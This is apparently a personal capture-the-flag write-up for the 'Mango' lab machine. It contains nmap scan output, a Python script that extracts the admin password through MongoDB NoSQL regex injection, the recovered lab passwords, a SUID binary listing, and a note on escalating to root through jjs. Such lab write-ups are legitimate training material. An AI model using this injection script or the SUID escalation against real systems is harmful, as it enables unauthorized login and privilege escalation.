Machine Mango - Medium - Linux

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.32 seconds
           Raw packets sent: 65563 (2.885MB) | Rcvd: 65535 (2.621MB)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn:
|_  http/1.1
|_http-title: Mango | Search Base
Service Info: Host: 10.10.10.162; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.55 seconds

in the certificate we can see that the vhost seems should be staging-order.mango.htb

  • we have two sites one in the 443 and another in the 80

  • port 80:

    • it shows a login portal…
    • gobuster
      • vendor/ << maybe is a php mod installed
    • look for other vhosts…
      • nothing
  • port 443

  • HINT :( - NoSQL injection in 80

    • wrote a simple python script to get the password of the admin
import requests
import string

current = ""

for i in range(20):
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            r = requests.post("http://staging-order.mango.htb", {
                "username": "admin",
                "password[$regex]": f"^{current}{c}"
            })

            t = r.text
            if "farming" in t:
                current = current + c
                print(current)
                break

print(r.status_code, r.text)

or use the Nosql-MongoDB-injection-username-password-enumeration.git the password t9KcS3>!0B#2 we also found two users admin and mango

2 password(s) found:
h3mXK8RhU~f{]f5H
t9KcS3>!0B#2

let’s try to log into the ssh ! we got the shell! …

  • we see inside there a mongodb

    • nothing in there interesting
  • suid show a bunch of files

/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
/snap/core/7713/bin/mount
/snap/core/7713/bin/ping
/snap/core/7713/bin/ping6
/snap/core/7713/bin/su
/snap/core/7713/bin/umount
/snap/core/7713/usr/bin/chfn
/snap/core/7713/usr/bin/chsh
/snap/core/7713/usr/bin/gpasswd
/snap/core/7713/usr/bin/newgrp
/snap/core/7713/usr/bin/passwd
/snap/core/7713/usr/bin/sudo
/snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7713/usr/lib/openssh/ssh-keysign
/snap/core/7713/usr/lib/snapd/snap-confine
/snap/core/7713/usr/sbin/pppd
/snap/core/6350/bin/mount
/snap/core/6350/bin/ping
/snap/core/6350/bin/ping6
/snap/core/6350/bin/su
/snap/core/6350/bin/umount
/snap/core/6350/usr/bin/chfn
/snap/core/6350/usr/bin/chsh
/snap/core/6350/usr/bin/gpasswd
/snap/core/6350/usr/bin/newgrp
/snap/core/6350/usr/bin/passwd
/snap/core/6350/usr/bin/sudo
/snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6350/usr/lib/openssh/ssh-keysign
/snap/core/6350/usr/lib/snapd/snap-confine
/snap/core/6350/usr/sbin/pppd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
  • HINT :( jjs has suid
    • with jjs I wrote a script that give u+s to bash